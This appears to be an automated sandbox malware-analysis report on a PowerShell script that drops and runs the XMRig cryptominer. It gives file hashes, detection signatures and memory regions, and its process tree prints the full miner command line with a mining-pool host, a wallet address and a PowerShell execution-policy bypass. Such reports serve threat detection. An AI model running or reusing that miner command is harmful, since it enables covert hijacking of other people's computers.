Resubmissions

15/05/2024, 03:28

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Analysis

  • max time kernel
    8s
  • max time network
    263s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/05/2024, 23:52

General

  • Target

    file01 - copia (4).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 3 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (4).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4396
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
        PID:4888

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_52bquktc.hxh.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

      Filesize

      5.9MB

      MD5

      cc47e5a5d54802233f04eece2ec71d2f

      SHA1

      dcf2aa584ac92d9646d9ef6348f859ed16bb58b2

      SHA256

      4efb5c3869432797304221fd43c352d864898f1573bb8fbcbbc69d1c724a6e58

      SHA512

      d3dc234152b581f502f803dbbb07a88b476022cc1ffdec76d6e301563c001a742d1cb5be140fb9c9a6c1ad2c1ce23840b6da7ffa15261f893c74cfb1a11f6e56

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

      Filesize

      7.4MB

      MD5

      f40b7ce653e03ab8d1ea1abc17b262c4

      SHA1

      68740ce7e9dc7aaa71932a567c14d189d133a393

      SHA256

      157d49e693fdada8bd404287a5d7c9c963c19713a912b007b6b2d0f0e9c9a2e7

      SHA512

      3dd0d081b13f203d61a2425e5b7d6ee5f67843096af275d8cd0073e8513b9634392d00d44949a61003eff1a40c9761acfbac2ec1529cdbb53c9fe7a48ccd5816

    • memory/4396-0-0x00007FFFEF2C3000-0x00007FFFEF2C5000-memory.dmp

      Filesize

      8KB

    • memory/4396-12-0x00007FFFEF2C0000-0x00007FFFEFD81000-memory.dmp

      Filesize

      10.8MB

    • memory/4396-14-0x00007FFFEF2C0000-0x00007FFFEFD81000-memory.dmp

      Filesize

      10.8MB

    • memory/4396-16-0x0000029029E50000-0x0000029029E5A000-memory.dmp

      Filesize

      40KB

    • memory/4396-15-0x0000029042600000-0x0000029042612000-memory.dmp

      Filesize

      72KB

    • memory/4396-52-0x00007FFFEF2C3000-0x00007FFFEF2C5000-memory.dmp

      Filesize

      8KB

    • memory/4396-11-0x00007FFFEF2C0000-0x00007FFFEFD81000-memory.dmp

      Filesize

      10.8MB

    • memory/4396-1-0x0000029042330000-0x0000029042352000-memory.dmp

      Filesize

      136KB

    • memory/4396-57-0x00007FFFEF2C0000-0x00007FFFEFD81000-memory.dmp

      Filesize

      10.8MB

    • memory/4396-53-0x00007FFFEF2C0000-0x00007FFFEFD81000-memory.dmp

      Filesize

      10.8MB

    • memory/4396-50-0x00007FFFEF2C0000-0x00007FFFEFD81000-memory.dmp

      Filesize

      10.8MB

    • memory/4888-61-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-68-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-55-0x000002561AF70000-0x000002561AF90000-memory.dmp

      Filesize

      128KB

    • memory/4888-54-0x000002561AF30000-0x000002561AF50000-memory.dmp

      Filesize

      128KB

    • memory/4888-49-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-56-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-48-0x000002561AF10000-0x000002561AF30000-memory.dmp

      Filesize

      128KB

    • memory/4888-58-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-60-0x000002561AF70000-0x000002561AF90000-memory.dmp

      Filesize

      128KB

    • memory/4888-59-0x000002561AF30000-0x000002561AF50000-memory.dmp

      Filesize

      128KB

    • memory/4888-47-0x000002561ADC0000-0x000002561ADE0000-memory.dmp

      Filesize

      128KB

    • memory/4888-62-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-63-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-64-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-65-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-66-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-67-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-51-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-69-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-70-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-71-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-72-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-73-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-74-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-75-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-76-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-77-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-78-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-79-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-80-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-81-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-82-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-83-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB

    • memory/4888-84-0x00007FF67F100000-0x00007FF67FD33000-memory.dmp

      Filesize

      12.2MB